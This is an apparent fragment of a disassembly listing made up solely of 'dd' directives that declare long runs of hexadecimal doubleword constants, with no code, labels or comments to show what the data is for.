		dd 1C934B35h, 0A7BA9601h, 9DD4E5C0h, 54EF9188h,	0AA289191h
		dd 66A9185Fh, 63AF8559h, 3FF2B78Dh, 2400EEB8h, 83BF999h
		dd 0FE63C30Ch, 3DF1E42Ch, 0F893D168h, 0C0044004h, 0E8EB469Dh
		dd 0FF797CD0h, 0CE58D2E7h, 0C2EE1B3Fh, 0D4D8FC95h, 4DB29954h
		dd 156F502Bh, 3DA3D6D4h, 1214B82Fh, 9A0CC823h, 0A131F211h
		dd 4FD1FE9Bh, 9D4D1583h, 0D855828Fh, 637BBCD2h,	0E1EE839Ah
		dd 485AF89h, 81168A33h,	6D1ADB37h, 62D8B333h, 83E2628Ch
		dd 0EAF00DA8h, 0F2EA886Fh, 94657DDh, 0B7C478DBh, 0C5758D2Dh
		dd 179DFCA5h, 4A0EAEA0h, 9DA3C380h, 0D647E465h,	0F84A23A7h
		dd 0D6D2E4BEh, 865F3302h, 9BF65144h, 0A1E8322Ch, 0B80B9210h
		dd 0FBE3846h, 0A85B4B3Fh, 0A1D15601h, 50D811A5h, 0D9F8D348h
		dd 5F0AEA11h, 0C74E1548h, 75188814h, 60DD41E0h,	925CA3FCh
		dd 0F12F7255h, 382919D1h, 5ADD32CCh, 2D4552ECh,	40B2365h
		dd 3B675D3Ah, 0FBF52A7h
		dd 3E598667h, 0C5DDB39Dh, 50B92E54h, 7095D347h,	0A264A41Dh
		dd 0FF22C449h, 0A0E2C7DEh, 19D811BDh, 0AC7648A3h, 3FD2CD1Ah
		dd 0E9AC6C7Dh, 0A156127h, 0C465A63Bh, 994ECFEFh, 7121AB96h
		dd 7EE4955Bh, 0D41F8780h, 1F0B3E0Dh, 11816AC8h,	6BF58599h
		dd 0DB72701Dh, 6D8E2673h, 97D600C6h, 35D6E338h,	0C4DF6EE4h
		dd 7D2E2D2Ah, 6A2C6F9Bh, 46608068h, 972E98B9h, 22B22276h
		dd 82F58D1Ch, 49B1A075h, 75E1C6ADh, 0F533150Ch,	0DBF01AD1h
		dd 63B19748h, 6DC0C3DCh, 0D4FA3330h, 0E02D7C8Bh, 8B1B64F1h
		dd 2C66CC2h, 890A4F33h,	0E6126692h, 0FB0BEF32h,	895A0E66h
		dd 46051CCBh, 0AD1FFA86h, 4C58458Eh, 4AABA1A1h,	0DF6D798Eh
		dd 44CE9AE2h, 23F5A09Dh, 1594C7h, 7F559D62h, 14004488h
		dd 508537F7h, 45CBEB03h, 59AC2C9Ch, 8FCDFCDFh, 0E07AF0DBh
		dd 57D5A045h, 8FF5195Eh, 5D354D83h, 775BE540h, 930B2AE7h
		dd 0C6301EE2h, 6ED44DE2h, 2B4CBF09h, 7E72B3EEh,	46F0E4C6h
		dd 759732F2h, 83081A59h, 5D23E3E6h, 0C6575033h,	0FEEEF688h
		dd 21205807h, 0BE945385h, 0EB553160h, 0CDBA3813h, 44361D5h
		dd 10E9DB5Ch, 0C5A7207Ch, 61ED8C21h, 47B33B08h,	0E529E0B5h
		dd 71C4FD3Fh, 539B7269h, 2942C037h, 0B1873686h,	8DAE902Dh
		dd 6E132AA3h, 3A83F86Ah, 3FC82FBFh, 9020E743h, 2E59BCC2h
		dd 0DC78BD48h, 0CA901C7Ah, 0CFCD2998h, 0F3FF2202h, 0CAFD6A96h
		dd 0F995AA6h, 5BEE528Ch, 9832C7C3h, 0A0614E2Fh,	25179672h
		dd 5EE5AB7h, 0B43CC59Bh, 32A3110h, 26A30A22h, 3702F2AFh
		dd 2565E940h, 0C256AAFBh, 5887C058h, 4E89B304h,	5BD0C91Dh
		dd 9E67FEC8h, 0B5BEAFF0h, 481C2CEBh, 0ECB9B010h, 26714E7Bh
		dd 3706CB39h, 0E4256036h, 560F45CAh, 0A1CBBE1Ah, 0EEFCEDEh
		dd 1D6248D2h, 0AD0C14ACh, 8FE7F5Dh, 0B856C081h,	0DCD25ED9h
		dd 76492188h, 261C1165h, 0EABE9D13h, 0F589E94h,	0E83E382Eh
		dd 0BD1886A4h, 510D06C1h, 0BE3622BEh, 0D6AE4BC5h, 0D00BCB55h
		dd 0FF26ED0h, 2D22A10Dh, 0B42188CDh, 52D4F46Ah,	43FAA987h
		dd 4FF15DF4h, 0F267FC15h, 0FCA1E8C1h, 1E14D5B0h, 0B43ADA8Dh
		dd 4C03BB3Dh, 0D0B35796h, 9BD1AEA8h, 90982D2Fh,	6FA16A47h
		dd 0E47C4189h, 6FB4C119h, 320EFBECh, 0C6451DCDh, 0A1D5E0E2h
		dd 0C821027Bh, 419DF566h, 6E0EED76h, 694E18Eh, 6C67123Dh
		dd 1A0DB38h, 98DB8445h,	2CB9D8EDh, 5E135AD7h, 0D6788DB6h
		dd 94010AB1h, 0C00194E2h, 9B225AF7h, 0F7C16387h, 0B5AC934Bh
		dd 589D7ECEh, 82D2038Fh, 0DC428468h, 0D9270274h, 7D4C17F0h
		dd 5794BC61h, 690726D5h, 38C4AEDEh, 0D58330Eh, 302C769Ah
		dd 25B0590Ch, 593749EBh, 38312408h, 892AFFC8h, 0F9AF524Ah
		dd 191631DFh, 82075C85h, 0D2786903h, 6B43F6E5h,	42449D02h
		dd 5AD7CED7h, 0DFF050Fh, 0BB6AC88Bh, 0A109BBE8h, 4CCF0BA7h
		dd 0FDFA10D9h, 23CB4AAh, 0C6F1AF37h, 0A49A36D3h, 60FD78FAh
		dd 5CEA8ACDh, 4E2B3046h, 83DAAF0Ah, 75BD28CEh, 0F8227B27h
		dd 17CAE750h, 47C163CDh, 0D882F854h, 63F77C82h,	0E7795480h
		dd 0B37A6914h, 2FB83D31h, 44F379ABh, 74CABCBFh,	0EBA0088h
		dd 1E20B865h, 0D08EB7BAh, 1F649E98h, 7B8698A9h,	4F21417Ch
		dd 2266752h, 5DE7A351h,	0EA51E7C9h, 0F1ADEE69h,	803E6461h
		dd 0C5D519BBh, 0DFB92F12h, 93C7911Ch, 10CCC9EFh, 3848BBD1h
		dd 0D26F1AA7h, 5BDD7E86h, 1BE2E1DEh, 7A57A3E7h,	0CC661881h
		dd 29CA3FA0h, 0A9E4467Bh, 0C971A9C2h, 5254F1B3h, 76BAD8C0h
		dd 0CF797682h, 92E41E7Dh, 5029078Dh, 188C9544h,	0A778E19Fh
		dd 665C1E43h, 85029503h, 0F61484D0h, 0D8DC0CBDh, 14C79171h
		dd 0A4DC1084h, 9BBBADDDh, 3F471877h, 18388A69h,	57E29515h
		dd 333D95Dh, 0E24D628Ch, 86C58BD7h, 0D8D9DED9h,	0BDCB7FA8h
		dd 528C11C1h, 25D538FAh, 49F94338h, 7F0466EAh, 4572960Bh
		dd 7B81CB0Eh, 0B3A1A306h, 53A57E04h, 0B2E9983Dh, 4F686234h
		dd 5B3C83DBh, 0F67DCB39h, 0F317DF51h, 0EE202D9h, 0BD356D01h
		dd 97A13768h, 0C1EDA68h, 50A8CC5h, 383126ABh, 90C425E5h
		dd 0EA62F6FCh, 0D2E95C9h, 7CB975EFh, 9D494B9Eh,	0B5616B22h
		dd 14C0221h, 0DDF31A75h, 0E12DA920h, 88DDA5B2h,	8A317154h
		dd 8696955Fh, 8F733AE2h, 2CC29A67h, 65D73006h, 562FAAFBh
		dd 0F1C75822h, 0A3D5362h, 7E527508h, 612B2FEBh,	0B0AF19ACh
		dd 0CECC9A79h, 5051E726h, 32B2A3D2h, 0E69748FCh, 0BBC9BA05h
		dd 0DCD3E5ACh, 0BB7BE1F1h, 4102B0B7h, 7A6025DCh, 0BF33CA34h
		dd 819C664Bh, 533C7B79h, 7C190DDh, 4204C8Ch, 6E752FFCh
		dd 496DD695h, 0A9D6A593h, 9CA38CBFh, 28A459BCh,	4286C351h
		dd 742D9EACh, 46488C4Ah, 0AAC87DE8h, 7507D0C3h,	3C210C0Fh
		dd 836B1269h, 0C967556Eh, 5EEBB167h, 0C6C63C11h, 3DB622BAh
		dd 2BB428C5h, 390961E1h, 122BFFB8h, 2F065B4Fh, 3BF489B1h
		dd 0EF5BF8B3h, 0F9065C6Fh, 84AA9E55h, 283E741Ch, 0CF65B6E9h
		dd 52BF96Ah, 0D5AFE0EFh, 0F8231256h, 86854FA2h,	0F46772B8h
		dd 1730E06Ah, 8ABD47E1h, 0F99C3407h, 0ABCA4471h, 140B1B81h
		dd 0B07E641Fh, 0BA4F4ED1h, 5B7DFDA6h, 0A356FA8Ah, 0F1CCCF4h
		dd 5410838Ah, 48A50E1Dh, 8473D689h, 0B486A91Eh,	0C8B38A49h
		dd 0D749820Ch, 2434E12Ch, 2CD773F9h, 0EAEFF7E3h, 7061113Bh
		dd 3657A40h, 8E10A530h,	6C8EF0B7h, 47D9B934h, 523E4213h
		dd 0B8D7C55h, 7D57470h,	3587B032h, 0FD704EBBh, 276A717Ah
		dd 4E558B90h, 160C4E1Eh, 2E457660h, 3A9E463Dh, 8AF70C8Ch
		dd 0F18456E7h, 0DCB1459Fh, 0C101F76Ch, 209FD3F8h, 0B7DE58F3h
		dd 932DF580h, 3F3F675Ch, 3AEE0723h, 0AB7B335Ch,	908CD84Bh
		dd 0CF9C990Ah, 49526AD4h, 0F8D3C2E7h, 6FEEA153h, 58F47B86h
		dd 0E5108817h, 0F0A504E1h, 0CEA7EDEFh, 0C867CFAh, 0ABC316B4h
		dd 0DED0802Ch, 0A2B81842h, 0FB7FA263h, 5CFEA310h, 26C86186h
		dd 1C5AC3A8h, 5E2E4FF5h, 893D190Eh, 0BDBE6F2Dh,	53E8F2F6h
		dd 38B4ABB8h, 856FD3F9h, 0A49B3C45h, 84F3C659h,	0E7485AABh
		dd 0B9769005h, 76C2BACCh, 757AA4ABh, 0DCF0FB2Bh, 0EFB1927Ch
		dd 0F42F2855h, 757B908Bh, 9EB76AD3h, 0F62F8F23h, 1B03235h
		dd 0BD40F005h, 970B2A14h, 97374A8Dh, 835CE57Ch,	3208A51Dh
		dd 0AE9C0554h, 0AF51D25Eh, 2E2DF380h, 0EE74BB04h, 46338B23h
		dd 656B0149h, 0DEAA7BD7h, 0B72686FEh, 0F17DA422h, 7366945Ah
		dd 642F34F8h, 0B7D213F9h, 10DA1E7h, 44F41389h, 0E44A1DB1h
		dd 1612AF4Dh, 0E6BF8613h, 2C9DA9BBh, 0C954F903h, 0E34C0282h
		dd 68A0D600h, 1930F95Fh, 0BAE5EEC2h, 0D280499Ch, 0AD2DD650h
		dd 4B8A17A7h, 0D96DDDAAh, 32E88B48h, 2906FAD7h,	266E4529h
		dd 98FB8B77h, 3B2FCB1Fh, 51ADC586h, 93AE1BDFh, 963C0846h
		dd 722D7889h, 0D94C31F8h, 1E599C69h, 42BF815Fh,	0C7B31FA6h
		dd 17AB4AAh, 174CDC88h,	0D640ABEAh, 1F249682h, 7B876CFBh
		dd 5B42C826h, 0E89717CBh, 39AB8B14h, 0FF115C5Bh, 70BCF7EBh
		dd 4A673461h, 15485032h, 6A5A71D1h, 4B8E55C1h, 53257D7Ah
		dd 70699B3Ch, 0A145522Eh, 0C8B7A442h, 482866F8h, 0E16DB51Ah
		dd 0BE3EE43Ch, 42E3C206h, 0D126901Ah, 0E836B6CDh, 381FA0D2h
		dd 4542FDEFh, 72CC6365h, 40F95CCBh, 0DCAF67D9h,	0CA14866Bh
		dd 0DB80467Ah, 0C23AA826h, 5B358D6Fh, 0FE84A291h, 4081B6CCh
		dd 51F7E5DEh, 9234E79Ah
		dd 94AAFF57h, 0C5420E2Ah, 55A45E8h, 4B11A3B2h, 51FF87D6h
		dd 759C0C89h, 0F6494736h, 27B1073Dh, 45FED6F7h,	9E55641Eh
		dd 0CB1BD6B3h, 7803857h, 0ACC1F2C0h, 2AC0F3AAh,	0B48E51EFh
		dd 7D3C19C5h, 0CF42A03Eh, 4AA7B0D1h, 0A420E4EAh, 943A3C0Bh
		dd 0DD57568Fh, 3DC52215h, 0FFC15A86h, 0ABA569C1h, 7DC161F7h
		dd 266C5AADh, 0B07D4135h, 84313B53h, 22D6F99Eh,	39196E1Ah
		dd 2DDB870Ah, 3165FED8h, 3EB036AEh, 4DEC8EE8h, 3849B08Bh
		dd 846AA356h, 0C6D77814h, 5DAB8002h, 3715FD08h,	0DCADDF8Ch
		dd 99AF3FECh, 0D30ECBE4h, 9263CDE4h, 0E2B061CDh, 270CB194h
		dd 67D1FB0Fh, 4A0C673Eh, 0B1B1598Ah, 0CC53F863h, 15188B33h
		dd 330A705h, 0F23D28E8h, 57CF6F91h, 5AF5B7C9h, 9914C1E3h
		dd 0EBF9988Ah, 8301E716h, 0E8D38A25h, 8567E9E4h, 1DD8B0F0h
		dd 82B60F74h, 0A77DB71Ch, 0D2132E69h, 4D851167h, 21D6F53h
		dd 24A23BE1h, 34F96B92h, 3AAAE954h, 0E7B3AD64h,	21AD284Fh
		dd 2DD660C1h, 0EBC92259h, 6CB48C98h, 7EE88672h,	483BCF38h
		dd 359123A8h, 7B307696h, 9DBF262Bh, 28FA1FBCh, 193DC05h
		dd 0ABB4AF33h, 9BD3EEABh, 4689FFACh, 6D2A32B5h,	72140DE9h
		dd 0FE410CBh, 984F31F7h, 123E4B50h, 3962E982h, 0FD098416h
		dd 4AA1D1B5h, 716DFB6Dh, 36668D3Bh, 85FDDDFCh, 9991D12Fh
		dd 5FF059CEh, 8EFC5842h, 0B1BCD7A5h, 0A705C3C1h, 0F2A18A4Eh
		dd 3BA8275Dh, 0FFCB909Ah, 135D285Eh, 4BDC7A61h,	31637BA7h
		dd 33932353h, 0F24CA10Eh, 70C8E0A3h, 4CB91300h,	231F8977h
		dd 3257A8FDh, 9EF4C6A6h, 7475282Bh, 0E0AD6722h,	4CD8B0EBh
		dd 0DA32C2B0h, 0A7656ECEh, 30595B8Fh, 0A356A103h, 4E065466h
		dd 0BD96DAEEh, 99D4A07Ah, 2F0919D2h, 0D074EFh, 5B8D15Dh
		dd 0E6F7A947h, 894E5607h, 95784230h, 37B2A906h,	2ECB7831h
		dd 0A767D9BDh, 0DD1A1DB7h, 0BDBB85ABh, 0F8DF47EFh, 96D0B14Ch
		dd 19C33497h, 0C4E16C4h, 812DD0F6h, 2E96DCCh, 79D29438h
		dd 0A6CDC93Bh, 26DA9B5Fh, 17DD4ECh, 0C7F6F7CFh,	147B2AEAh
		dd 0C9389D6Dh, 16286F13h, 599750FEh, 5579190Ah,	5B6C9999h
		dd 0C3D21517h, 50428BB0h, 4F8B814Eh, 0D9DB5CB5h, 4C547E77h
		dd 73073543h, 70EFB5C2h, 0DCAB131h, 315C040Ch, 0F2A3F8F5h
		dd 62E4B2D6h, 0D20AB433h, 9105E98Ch, 0C83DC47Ch, 0A17C8034h
		dd 10854113h, 0B37958B9h, 7DE015ABh, 442C499Dh,	0D69DC7D4h
		dd 15FAADE7h, 0FFF88A7Ah, 336B6EB5h, 57587E86h,	28AF8AF0h
		dd 0EC6302C1h, 441253E4h, 0CC246431h, 3C2FE900h, 0D13DF5EAh
		dd 6733F18Bh, 54604C9h,	8D97F7BEh, 85B5C5C2h, 0A1CC9788h
		dd 173AD935h, 764461E2h, 70AB8DF4h, 9FA117FCh, 8E502EF9h
		dd 0F2448E78h, 947565F6h, 7FD5727Bh, 0F8B1DC6Ch, 29457B46h
		dd 9161031Bh, 0B7FC8686h, 660586E9h, 0E4E7CF40h, 5C3D68B2h
		dd 7C73AE78h, 7152E973h, 0EC14F665h, 74D6A7F6h,	0C54536A7h
		dd 972B8F15h, 2C117E76h, 2851DCB0h, 0C4DEF5F1h,	0F7AFFDE1h
		dd 5D0654DDh, 2329AE41h, 73ED4C34h, 83789546h, 0FEB183ACh
		dd 1B4EBA80h, 8C61042Ch, 0D9F58891h, 0E4A5639Eh, 0A4E4598Dh
		dd 803E35Fh, 4DB8D0B3h,	7981A93Bh, 0D9A86947h, 0BF0D7817h
		dd 2B34FB6Fh, 0E8C912ABh, 0E049B409h, 0BC34F9B6h, 4E288EF9h
		dd 0A4B52B17h, 69825896h, 5125C585h, 72877BD1h,	8168A63Fh
		dd 212EC721h, 48ED95CCh, 0BDFDB980h, 0EEAD92C0h, 1CEE7C20h
		dd 9A34E22h, 5E393C93h,	0CDFE60A0h, 75D65FD4h, 0D50B0C3Ah
		dd 0A1E713E7h, 47AE2F0Ch, 0F9C5540Ch, 22CB97F6h, 34321845h
		dd 61B806A7h, 6111EB3Ch, 0C3921300h, 0F9BF058h,	0A690B6F0h
		dd 57F9B09Fh, 88AA25A5h, 33600B7h, 39645B13h, 0C27950AEh
		dd 0BE7323A8h, 0E2FBF744h, 0CA2067Ah, 0C91675Fh, 8A5B820Fh
		dd 577ACF76h, 55C588A6h, 3A87BC03h, 9B59E32Ah, 9F6D7CA9h
		dd 0D6298FA5h, 665DB58Dh, 33599BF8h, 68AE92A5h,	67B5A91Fh
		dd 56FD188h, 1057F443h,	5B8412AFh, 0DEFA2634h, 9E57E4C8h
		dd 65DD20F3h, 90F18318h, 6EB5560Ah, 8D5DF92Ch, 0EEF5C71Bh
		dd 0E64D9D5Fh, 0FB8EB62Dh, 1BC0BCA3h, 0AC941015h, 60828988h
		dd 50BCA0DEh, 4F38A79Eh, 554D9A9Bh, 107F8C35h, 5BF414D4h
		dd 558A350Fh, 0F90F3D7h, 0FE0433D0h, 2BF70990h,	0FDFCF6EFh
		dd 0AF630297h, 298EB7A1h, 730883DEh, 1DD020h, 0D7706B97h
		dd 3C874F89h, 0CBCC2A81h, 98094282h, 63E1BBB4h,	98F8651h
		dd 382EB4E5h, 0A4484EF9h, 6DD941B7h, 0CC9AFAB8h, 50F8ED25h
		dd 705A1FD5h, 497EB65Ah, 2A899B0h, 9B36AF0Ah, 0A582685Bh
		dd 468DE4A0h, 8661DF2h,	9F1FE2AEh, 0F8C23150h, 57AF9C12h
		dd 0AE60FCE3h, 35B7E76Ch, 0D1E48691h, 787E1CD8h, 53D3C16Dh
		dd 5E9E2111h, 43DC3A1Bh, 40917625h, 4A20CAC0h, 34DD0F32h
		dd 0B0F5E513h, 5DE44C61h, 77F4F28h, 7E325E76h, 0C0A7CB4Ah
		dd 8B501DA1h, 0B53ABA7Eh, 37E442C1h, 5AB038BFh,	5A9A8404h
		dd 3FC0FC3Eh, 0C0543C6Fh, 0D53AA34Bh, 6F8A50B9h, 36449C0Dh
		dd 62607F63h, 0BE1DF6CBh, 1FF2B4AFh, 8C2D63DEh,	0A18B2D1Fh
		dd 75A68FC3h, 88C26C9Eh, 0B5D510D3h, 0C0AEFF6Bh, 14CD3039h
		dd 715591E3h, 0B5522D58h, 6F1E084Eh, 0DC6827C4h, 95D1BCF6h
		dd 19E2C0CEh, 5F59BA3Dh, 8DC14AEBh, 0C575859Fh,	6132ED38h
		dd 0C207570Eh, 2AE9E3DEh, 0DB82EA39h, 0D704F60Ch, 0B6ED710Ch
		dd 0E496D5EDh, 0CB24E7D3h, 0D024366Eh, 3F1B9181h, 8555A35Dh
		dd 5566A2h, 8A78B6E7h, 6D50D48Bh, 0CF19D2B8h, 6D82F1BEh
		dd 432F9CF6h, 195A99A0h, 83F41179h, 80746D7Eh, 0CE51F833h
		dd 0C5758275h, 6B34D789h, 0C0C9EB2Ah, 1E1389E7h, 3FDBADE3h
		dd 2D5840DAh, 259D6239h, 4B404E73h, 5C325599h, 3EB343E8h
		dd 6B0D3720h, 3D58A30Eh, 9FFF4BC5h, 96345198h, 0B9EF8CBFh
		dd 3EA80E50h, 4C06C363h, 3C4B6893h, 0CAE4462Bh,	37BFD305h
		dd 4310821Eh, 0FEEEB87h, 35B2460Eh, 0A2B75E3Dh,	0A3F0C6DAh
		dd 2D8892F0h, 0ED1D27A3h, 0A8CE70B5h, 0F0C73C12h, 0C3EED101h
		dd 0C87560D7h, 0E0F2FF5Fh, 2EBEA953h, 0F15EE639h, 7951D7E3h
		dd 0AE67A44Bh, 8D900F3Eh, 7CF64A9Eh, 616389FDh,	0CB32BAC9h
		dd 3142834Bh, 7B55BB39h, 5498B048h, 0DAFE13CCh,	1393FBCFh
		dd 0F1F2BE61h, 0DFDBDC30h, 258BF0C9h, 0E4CC171Dh, 1882517Eh
		dd 8F734464h, 31AFD14Ch, 4BB819DEh, 0C176F993h,	0FDB96065h
		dd 7B181562h, 44D657DCh, 0FC06BE01h, 0F54F1246h, 9B36252Ch
		dd 990934BFh, 35CB02EEh, 6CE0C90Eh, 0E014A7B6h,	0E4FBB03Fh
		dd 7E7D85D1h, 0C5AE687h, 22127CEBh, 6BA0EAAh, 5F27DD46h
		dd 0D61D3D77h, 253E6E43h, 47728B29h, 0EF7924BDh, 0F8A4DB99h
		dd 6564C176h, 0FBB3FC09h, 104DC8E5h, 38DEC6EFh,	0F3720964h
		dd 0DD3591F4h, 30E2BB9Ch, 5BD475D3h, 0D5B8A279h, 0C1486E87h
		dd 69BA1F3h, 9DAC770h, 4433BCE0h, 0D99C04E6h, 7F1F98C1h
		dd 0C3847621h, 0A644BB6Ch, 52D5A067h, 0E766DACDh, 92E5BAB0h
		dd 0BEC24FA7h, 72BAFF9Fh, 1E413674h, 0AF06109Ah, 0B26EDB36h
		dd 0E13848D4h, 86D2E5F7h, 9369852Bh, 0E772605Fh, 0F46D6637h
		dd 0C964A286h, 1A17D10Ah, 0BDEDF7F0h, 0A1471242h, 1DAC86F9h
		dd 0EEF2CEFh, 82065EAFh, 0E52BEF9Eh, 430ACB70h,	0D7C6DB84h
		dd 0CD97C88Eh, 0D0545A5Bh, 0CE3501BAh, 0A34DABB8h, 6FBEDA45h
		dd 0CAC77D42h, 33F580B4h
		dd 306550EDh, 0DEBBA5E0h, 3217CA78h, 7391AA00h,	9F94B98Ah
		dd 0F7405108h, 48552757h, 323ADB15h, 75448177h,	0B678BCF8h
		dd 783A81DAh, 0AC8B6C2Ah, 99A861F7h, 4C1316F7h,	26D18AD2h
		dd 30A69920h, 12A2A786h, 0E7371AC6h, 414C6A3Dh,	0E735EC36h
		dd 0C6D030EEh, 97092586h, 93E38307h, 84BED040h,	418FDEABh
		dd 179E68EFh, 0DA4D7AE8h, 70ACC9F7h, 0D9B0B4B3h, 6F0A32E2h
		dd 9D268576h, 3B010980h, 0ED2B30F0h, 0F0CE1C29h, 52A4D275h
		dd 0D2948A5Dh, 6A09226Ch, 5F9C582Fh, 29AA6096h,	69DD1E81h
		dd 0CD125D14h, 3A8032D9h, 0C6E6362Ah, 565CD919h, 482868B6h
		dd 6A276C74h, 3D8E6D57h, 0A9653E8Fh, 6FEBB2EFh,	548A4A53h
		dd 94F3A3C9h, 0E7D9BEEAh, 0C6F50982h, 812B746Dh, 8BE58C4Eh
		dd 0A16B5362h, 1A92F8B2h, 260705F8h, 0B3C69BEEh, 7DD42946h
		dd 0F7065C2Ch, 0F7D68F15h, 2F0C9AD8h, 9BC6704Ah, 89465E23h
		dd 4DA34CFh, 8AB86030h,	0D1F9DA7h, 421D3466h, 0DF0B27A8h
		dd 4AB1476Ch, 2DEADE4Ah, 0B7B0553h, 1F657935h, 0DA4388D3h
		dd 0CEC4E4EEh, 0AC5B8B8Ch, 0ADC00506h, 0AB318D55h, 8B1DA3CDh
		dd 17067A20h, 7574BF10h, 945CFFF4h, 4A92DA50h, 0FAD8C47Eh
		dd 95E5D0F1h, 6686A30Ch, 7F4B1749h, 0C9C0A704h,	0A348AF1Dh
		dd 8AC505ACh, 5543DB62h, 216F12E2h, 0DA51C99Fh,	1B03B272h
		dd 0E5D77Eh, 0EEAA471h,	0CFDD5549h, 0FE2EE326h,	0F18DE63Dh
		dd 0C7315769h, 78783A0Ch, 1A6DE1A5h, 0C5C64E28h, 341F0875h
		dd 0CB0304EEh, 17291627h, 2CE4B936h, 0AE533C64h, 4FE0548Ch
		dd 7B32FC21h, 0F341AEFBh, 0B6029F60h, 259A74B3h, 52ACA2FFh
		dd 0D9571B05h, 258EF536h, 0B89B0F05h, 9458109Eh, 0E378306Fh
		dd 0A9231430h, 0C01E0DA2h, 0C57E34A4h, 0E27CFD86h, 0EB4343B3h
		dd 6213527Bh, 2F98487Ah, 6E03754h, 50909F70h, 90FD7C38h
		dd 2FA11F8Ch, 551D9110h, 0C815DD4Ch, 0B009113Fh, 0FD7F090Ah
		dd 0AB52F149h, 0F59CC0FCh, 4EC5F5A9h, 0F4F49EBDh, 9ED2467Dh
		dd 0C4D5F707h, 7BA401D6h, 71FBEB5Bh, 0FE770CFh,	89E409BFh
		dd 0E5432A34h, 1EFA6Bh,	0E0D84B2Ch, 0CD449630h,	42059E5Bh
		dd 0AA78754Ch, 5267D9EBh, 0B8AD2AD0h, 84061594h, 13CC6955h
		dd 0AC6A5236h, 5FB1C516h, 0C61775B9h, 0A5C0B256h, 26AE977Fh
		dd 0A1C996FAh, 77421B34h, 53AFD5D0h, 45463CB4h,	0E8556B2Eh
		dd 0B1D41123h, 0E575F078h, 993F398Bh, 0E8CBCAFh, 0F1B2744Ch
		dd 718408Eh, 416CBD9Ch,	0B0E2398Ch, 0C715722Eh,	38E62385h
		dd 3969A05Eh, 751C8AC0h, 0ECB1C652h, 4ADA0C26h,	0DAA0F7EAh
		dd 0E8C59C62h, 8C8016D8h, 910BFC12h, 53F53F43h,	19BCAE17h
		dd 0F8972925h, 932DDBCBh, 496C604Ah, 0E590839Ch, 3E4B0DCCh
		dd 4D87C1BEh, 0A9A9457Dh, 0B7EF0579h, 0A1E6F360h, 1346F879h
		dd 6D99912Ah, 25E2A57Fh, 5410E776h, 0B76A38C3h,	0FDDB7C7h
		dd 0EB4188ABh, 8168E90h, 40ABE2CAh, 3420B60Dh, 229933FBh
		dd 3F890DBCh, 87F3241Eh, 0DBDE536h, 46AB071Ch, 0F51EEDD2h
		dd 85833C00h, 1190920Ah, 0B5EA6523h, 0FD90E814h, 0DFB9E396h
		dd 57B54BFCh, 9E625138h, 70D9333Bh, 83E48CB2h, 0B9744093h
		dd 0A2E22C09h, 0DB1F6A4Fh, 0D21EEE8Fh, 11D43A3Bh, 8D05507Fh
		dd 5F4B25Fh, 231D943h, 165F2AD7h, 167DBE01h, 4842AAA4h
		dd 0B3EB923Dh, 48F33501h, 57059901h, 24676ACh, 6D1A96CFh
		dd 0F347BBA0h, 72C597A2h, 0D3B7B932h, 3AB38AE3h, 898047B1h
		dd 0DDB48A56h, 65EEA60Fh, 0E0387BEEh, 930A6C34h, 47C48B5Bh
		dd 0B566DC86h, 0CD50762Ah, 99D96516h, 0C6836F51h, 36F4054Fh
		dd 0CD2B543Bh, 0A948FCB0h, 17FA2414h, 0DBDE9855h, 0E878523Bh
		dd 7673579Dh, 8D7B6CA8h, 0CDFAD2ADh, 882544CCh,	2E481782h
		dd 550BFFDAh, 0A072A7ABh, 0AF65E53Dh, 0DDBC05F3h, 1E925C83h
		dd 32D6FBCEh, 26E0629Dh, 0A2118155h, 0E99F6497h, 4AE3B964h
		dd 0FDE5045Dh, 1FD57DB1h, 0B093D6B2h, 0F95B33F7h, 4BB315DAh
		dd 6BAD39F8h, 70AF7B58h, 0E24327Eh, 2FAC0F1Ah, 2F5C8505h
		dd 2D39488Bh, 0F6DA078Dh, 0AAE3A081h, 59270BE7h, 3DBA3636h
		dd 0B44EBFEAh, 13234FBEh, 7F41F845h, 0F12DEF0Dh, 0E50A41DAh
		dd 999685EBh, 0D337C987h, 0FD7D1CEFh, 3956C682h, 0B33715DBh
		dd 0D274D3FDh, 0BA5CC3F9h, 0A2718F71h, 599515F5h, 0BE25167Fh
		dd 8D7444B4h, 644E50C3h, 0D2D1EBA2h, 0A05FD05Fh, 0CC33EE45h
		dd 67385666h, 0A0F9484Fh, 848B2282h, 7D87EB60h,	53A0E723h
		dd 0AB852E11h, 45BE0C00h, 2401B068h, 95D1EBB8h,	7ED6ED2Bh
		dd 777F5730h, 868D4D9Ah, 5FE941CBh, 4BBF9DE1h, 14B4E82Bh
		dd 4912624h, 5F799B09h,	0FF26749Bh, 9A059B3Fh, 4F341730h
		dd 397C90C4h, 94FB2E50h, 0F47B1C63h, 16CFF1E2h,	0F259370Ah
		dd 6EDAC1D5h, 0C7C2E9CBh, 96C5A0AFh, 344EB054h,	347E015Fh
		dd 0B223ADA5h, 0E384B763h, 13763FF8h, 0DA81E2B0h, 16CBD448h
		dd 8DA190Ch, 5F62988Eh,	0FF804A97h, 5AD7AA0Dh, 0FCC9A26Ah
		dd 0A4789826h, 7DD62111h, 99169C3Ch, 4C0877A6h,	1C799CE6h
		dd 29F0C408h, 58A7271Ah, 0ABA5723Ah, 6F564230h,	810257A3h
		dd 0EB6256A5h, 23FD6752h, 51379519h, 5550F137h,	50D59828h
		dd 0ADACC897h, 1C7E7385h, 0FC453760h, 0FC2236B3h, 758DFDEFh
		dd 63704F1Eh, 3CEDCB52h, 704F947Bh, 58D83FCBh, 11622454h
		dd 63891203h, 2365B6CAh, 513AB67h, 3E3F69A6h, 8D48B285h
		dd 9F8764BFh, 4DCA98Eh,	0D1461570h, 0FE19C6FAh,	6CFEB7EAh
		dd 9B0DC452h, 10F0BCEFh, 1FD85852h, 983ED7B7h, 34A64BA5h
		dd 299B3DFEh, 0CF983FF9h, 842CFBD8h, 0CFAF05D4h, 8EDBA238h
		dd 510D09CEh, 5E7D2A8Fh, 76F678CBh, 9C29369Ah, 3EDA858Ah
		dd 0D9155A75h, 0E55FFC46h, 1CA2F79Ch, 0DEFD9BE5h, 0FC57D9AFh
		dd 3AC9C514h, 5BB77FF5h, 33611456h, 9897B2Bh, 9AACF809h
		dd 55662DC4h, 3415306Eh, 8F5C2602h, 0D888A2A8h,	116DCFE2h
		dd 34E0974Ch, 8DD1BCE5h, 0B57B2862h, 485739D0h,	90F74093h
		dd 0BE200DBh, 0B2735C66h, 8C887DE8h, 3A778D13h,	5A231350h
		dd 312EF1h, 0B19B6C06h,	0C496321Eh, 0DA5A7BC5h,	80D5CB3Ch
		dd 13A180FCh, 3E54D00Ah, 0FA720A00h, 0F2E59C7Ch, 729B4169h
